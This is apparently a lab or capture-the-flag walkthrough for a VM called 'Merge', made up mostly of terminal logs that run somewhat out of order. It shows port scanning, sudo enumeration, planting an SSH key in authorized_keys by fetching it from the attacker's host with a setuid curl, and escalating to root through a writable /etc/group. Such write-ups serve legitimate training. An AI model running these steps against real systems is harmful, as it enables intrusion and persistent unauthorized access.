╭─ ~ ────────────────────────────────────────────────────────────────────── ✔ root@kali 22:41:30
╰─ nmap 192.168.56.128 -p-
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-03 22:41 -0400
Nmap scan report for 192.168.56.128
Host is up (0.00076s latency).
Not shown: 65533 closed tcp ports (reset)PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:E7:AC:96 (Oracle VirtualBox virtual NIC)Nmap done: 1 IP address (1 host up) scanned in 30.43 seconds
╭─ ~ ──────────────────────────────────────────────────────────────── ✔ 31s root@kali 22:42:29
╰─ nmap 192.168.56.128 -p22,80 -A
Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-03 22:49 -0400
Nmap scan report for 192.168.56.128
Host is up (0.0021s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 10.0p2 Debian 7+deb13u1 (protocol 2.0)80/tcp open http nginx
|_http-title: \xE7\xA6\xBB\xE7\xBA\xBFIP\xE5\x9C\xB0\xE5\x9D\x80\xE6\x9F\xA5\xE8\xAF\xA2
MAC Address: 08:00:27:E7:AC:96 (Oracle VirtualBox virtual NIC)Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Aggressive OS guesses: Linux 4.15 - 5.19 (97%), Google Chromecast with Google TV (Android 10, Linux 4.9)(93%), Android 5 - 10(Linux 3.4 - 3.18)(93%), Linux 2.6.32 (93%), Android 10 - 12(Linux 4.14 - 4.19)(93%), Linux 5.10 - 5.19 (93%), Linux 3.2 - 4.14 (93%), Linux 5.4 - 5.10 (93%), OpenWrt 21.02 (Linux 5.4)(93%), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)(93%)No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 2.09 ms 192.168.56.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.93 seconds
mono@Merge:~$ sudo -l
Matching Defaults entries for mono on Merge:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty,
env_keep+=PATH, !secure_path
User mono may run the following commands on Merge:
(lnnn) NOPASSWD: /opt/Dirty-Merge/dirty_merge
mono@Merge:/opt/Dirty-Merge$ sed -n "550,800p" gro_fragnesia.c | grep system
ret= system("ip link add veth0 type veth peer name veth1");ret= system("ip addr add 10.0.0.1/24 dev veth0");ret= system("ip link set veth0 up");ret= system("ip link set lo up");ret= system("ip addr add 10.0.0.2/24 dev veth1");ret= system("ip link set veth1 up");ret= system("ethtool -K veth1 gro on");ret= system(buf);
╭─ ~/.ssh ───────────────────────────────────────────────────────────────── ✔ root@kali 04:44:29
╰─ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000(http://0.0.0.0:8000/) ...
lnnn@Merge:/opt/admin$ ./curl -o /home/admin/.ssh/authorized_keys --create-dirs --create-file-mode 600 http://192.168.56.101:8000/id_ed25519.pub
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
10091100910055860 --:--:-- --:--:-- --:--:-- 5687
╭─ ~/.ssh ────────────────────────────────────────────────────────────────────────────────────────────────── ✔ 2m 45s root@kali 04:51:12
╰─ ssh admin@192.168.56.128 -p 22Linux Merge 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64The programs included with the Debian GNU/Linux system are free software;the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
admin@Merge:~$ ls -al
total 28drwx------ 3 admin admin 4096 Jun 4 04:51 .
drwxr-xr-x 5 root root 4096 May 22 06:04 ..
-rw-r--r-- 1 admin admin 220 Mar 8 11:21 .bash_logout
-rw-r--r-- 1 admin admin 3526 Mar 8 11:21 .bashrc
-rw-r--r-- 1 root root 29 May 22 09:20 hint.txt
-rw-r--r-- 1 admin admin 807 Mar 8 11:21 .profile
drwxr-x--- 2 admin admin 4096 Jun 4 04:51 .ssh
admin@Merge:~$ cat hint.txt
man,what can i do
进行常规的信息收集,发现:
1
2
3
4
5
6
7
admin@Merge:~$ find / -writable -type f -exec ls -al {} \; 2>/dev/null | grep -vE "proc|sys"
-rwsr-sr-x 1 admin admin 321880 May 22 09:19 /opt/admin/curl
-rw-r--r-- 1 admin admin 807 Mar 8 11:21 /home/admin/.profile
-rw-rw-r-- 1 admin admin 91 Jun 4 04:51 /home/admin/.ssh/authorized_keys
-rw-r--r-- 1 admin admin 3526 Mar 8 11:21 /home/admin/.bashrc
-rw-r--r-- 1 admin admin 220 Mar 8 11:21 /home/admin/.bash_logout
-rw-rw-r-- 1 root admin 665 May 22 06:04 /etc/group
mono@Merge:/tmp$ id
uid=1000(mono)gid=1000(mono)groups=1000(mono)mono@Merge:/tmp$ newgrp sudo
mono@Merge:/tmp$ id
uid=1000(mono)gid=27(sudo)groups=27(sudo),1000(mono)mono@Merge:/tmp$ sudo bash
[sudo] password for mono:
root@Merge:/tmp# id
uid=0(root)gid=0(root)groups=0(root)root@Merge:/tmp#
disk权限提升
disk 组用户通常可以直接读写块设备,通常可以读写块设备,但不一定可以读写。
确认当前用户是否在disk组里:
1
2
admin@Merge:~$ id
uid=1002(admin)gid=1002(admin)groups=1002(admin),6(disk)